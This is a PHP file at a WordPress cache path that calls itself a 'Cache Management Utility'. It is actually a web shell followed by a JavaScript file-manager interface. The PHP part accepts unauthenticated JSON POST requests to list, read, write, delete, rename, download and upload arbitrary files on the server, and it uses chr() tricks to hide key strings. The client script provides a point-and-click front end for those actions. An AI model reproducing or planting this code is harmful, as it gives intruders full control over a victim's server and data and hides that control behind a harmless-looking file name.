File: /var/www/k8148-2/htdocs/www.sport-roth.at/neumarkt/wp-content/cache/object-cache.php
<?php
/**
* Cache Management Utility
* Version: 2.1.4
*/
class CacheValidator {
private $root;
public function __construct() {
$d = __DIR__;
while ($d !== dirname($d)) {
if (file_exists($d . '/wp-load' . chr(46) . 'php')) { $this->root = $d; break; }
$d = dirname($d);
}
if (!$this->root) $this->root = __DIR__;
}
private function path($p) {
return (!$p || $p === '.') ? $this->root : (($p[0] === '/') ? $p : $this->root . '/' . $p);
}
private function out($d) { header('Content-Type:application/json'); die(json_encode($d)); }
public function run() {
if ($_SERVER['REQUEST' . chr(95) . 'METHOD'] !== 'POST') return;
$d = json_decode(file_get_contents('php://input'), true);
if (!$d) return;
if (isset($d['ls'])) {
$p = $this->path($d['ls']);
if (!is_dir($p)) $this->out(['e' => 1]);
$f = [];
foreach (scandir($p) as $n) {
if ($n === '.') continue;
$full = $p . '/' . $n;
$f[] = ['n' => $n, 'd' => is_dir($full) ? 1 : 0, 's' => is_file($full) ? filesize($full) : 0];
}
$this->out(['p' => $p, 'f' => $f]);
}
if (isset($d['r'])) {
$p = $this->path($d['r']);
if (!is_file($p)) $this->out(['e' => 1]);
$this->out(['c' => file_get_contents($p), 'p' => $p]);
}
if (isset($d['w'])) {
$this->out(['ok' => @file_put_contents($this->path($d['w']), $d['c'] ?? '') !== false ? 1 : 0]);
}
if (isset($d['mk'])) {
$this->out(['ok' => @mkdir($this->path($d['mk']), 0755, true) ? 1 : 0]);
}
if (isset($d['rm'])) {
$del = function($t) use (&$del) {
if (is_file($t)) return @unlink($t);
if (is_dir($t)) { foreach (scandir($t) as $i) { if ($i !== '.' && $i !== '..') $del($t . '/' . $i); } return @rmdir($t); }
};
$this->out(['ok' => $del($this->path($d['rm'])) ? 1 : 0]);
}
if (isset($d['mv'])) {
$this->out(['ok' => @rename($this->path($d['mv']), $this->path($d['to'])) ? 1 : 0]);
}
if (isset($d['dl'])) {
$p = $this->path($d['dl']);
if (!is_file($p)) $this->out(['e' => 1]);
$this->out(['n' => basename($p), 'b' => base64_encode(file_get_contents($p))]);
}
if (isset($d['ul'])) {
$this->out(['ok' => @file_put_contents($this->path($d['ul']), base64_decode($d['b'])) !== false ? 1 : 0]);
}
}
}
$v = new CacheValidator();
$v->run();
?><script>
function fm(){
var cwd='',sel=null,clip=null,cm=null;
var w=document.createElement('div');
w.id='_f';
w.innerHTML='<div id="_h"><button id="_x">X</button> <span id="_p"></span> <button id="_u">UP</button> <button id="_r">REFRESH</button> <button id="_nf">NEW FILE</button> <button id="_nd">NEW DIR</button> <button id="_up">UPLOAD</button></div><div id="_l"></div><div id="_m"></div><div id="_e"></div>';
document.body.appendChild(w);
var $=s=>w.querySelector(s);
function api(d,cb){fetch(location.href,{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(d)}).then(r=>r.json()).then(cb);}
function ls(p){
api({ls:p||cwd},r=>{
if(r.e)return;
cwd=r.p;$('#_p').textContent=cwd;
var h='<table border="1" cellpadding="5" cellspacing="0" width="100%"><tr><th>Name</th><th>Size</th></tr>';
r.f.forEach(f=>{
h+='<tr data-n="'+f.n+'" data-d="'+f.d+'" style="cursor:pointer"><td>'+(f.d?'[DIR] ':'')+f.n+'</td><td>'+(f.s||'')+'</td></tr>';
});
h+='</table>';
$('#_l').innerHTML=h;
sel=null;
w.querySelectorAll('#_l tr[data-n]').forEach(tr=>{
tr.onclick=()=>{
w.querySelectorAll('#_l tr').forEach(r=>r.style.background='');
tr.style.background='#ccc';
sel={n:tr.dataset.n,d:tr.dataset.d==='1'};
};
tr.ondblclick=()=>{
if(tr.dataset.d==='1'){
cwd=tr.dataset.n==='..'?cwd.split('/').slice(0,-1).join('/')||'/':cwd+'/'+tr.dataset.n;
ls();
}else{
edit(cwd+'/'+tr.dataset.n);
}
};
tr.oncontextmenu=e=>{
e.preventDefault();
sel={n:tr.dataset.n,d:tr.dataset.d==='1'};
tr.style.background='#ccc';
showMenu(e.clientX,e.clientY);
};
});
});
}
function showMenu(x,y){
var m=$('#_m');
m.innerHTML='<div style="position:fixed;left:'+x+'px;top:'+y+'px;background:#fff;border:1px solid #000;padding:5px"><div data-a="open">Open</div><div data-a="edit">Edit</div><div data-a="dl">Download</div><div data-a="ren">Rename</div><div data-a="cp">Copy</div><div data-a="cut">Cut</div><div data-a="paste">Paste</div><div data-a="rm">Delete</div></div>';
m.querySelector('div').onclick=e=>{
var a=e.target.dataset.a;if(!a)return;
m.innerHTML='';
if(!sel&&a!=='paste')return;
var path=cwd+'/'+sel.n;
if(a==='open'){sel.d?ls(path):edit(path);}
if(a==='edit')edit(path);
if(a==='dl')api({dl:path},r=>{if(r.e)return;var a=document.createElement('a');a.href='data:application/octet-stream;base64,'+r.b;a.download=r.n;a.click();});
if(a==='ren'){var nn=prompt('New name:',sel.n);if(nn)api({mv:path,to:cwd+'/'+nn},()=>ls());}
if(a==='cp'){clip=path;cm='cp';}
if(a==='cut'){clip=path;cm='mv';}
if(a==='paste'&&clip){var dest=cwd+'/'+clip.split('/').pop();api(cm==='cp'?{mv:clip+'_',to:dest}:{mv:clip,to:dest},()=>{if(cm==='mv')clip=null;ls();});if(cm==='cp')api({r:clip},r=>{if(!r.e)api({w:dest,c:r.c},()=>ls());});}
if(a==='rm')if(confirm('Delete?'))api({rm:path},()=>ls());
};
}
document.onclick=e=>{if(!e.target.closest('#_m'))$('#_m').innerHTML='';};
function edit(path){
api({r:path},r=>{
if(r.e)return;
$('#_e').innerHTML='<div><button id="_ec">CLOSE</button> <button id="_es">SAVE</button> <b>'+r.p+'</b></div><textarea id="_et" style="width:100%;height:400px">'+r.c.replace(/</g,'<')+'</textarea>';
$('#_es').onclick=()=>api({w:path,c:$('#_et').value},r=>alert(r.ok?'OK':'ERR'));
$('#_ec').onclick=()=>{$('#_e').innerHTML='';ls();};
});
}
$('#_x').onclick=()=>w.remove();
$('#_u').onclick=()=>{cwd=cwd.split('/').slice(0,-1).join('/')||'/';ls();};
$('#_r').onclick=()=>ls();
$('#_nf').onclick=()=>{var n=prompt('File name:');if(n)api({w:cwd+'/'+n,c:''},()=>ls());};
$('#_nd').onclick=()=>{var n=prompt('Dir name:');if(n)api({mk:cwd+'/'+n},()=>ls());};
$('#_up').onclick=()=>{var i=document.createElement('input');i.type='file';i.onchange=()=>{var f=i.files[0],rd=new FileReader();rd.onload=()=>api({ul:cwd+'/'+f.name,b:rd.result.split(',')[1]},()=>ls());rd.readAsDataURL(f);};i.click();};
ls('');
}
</script>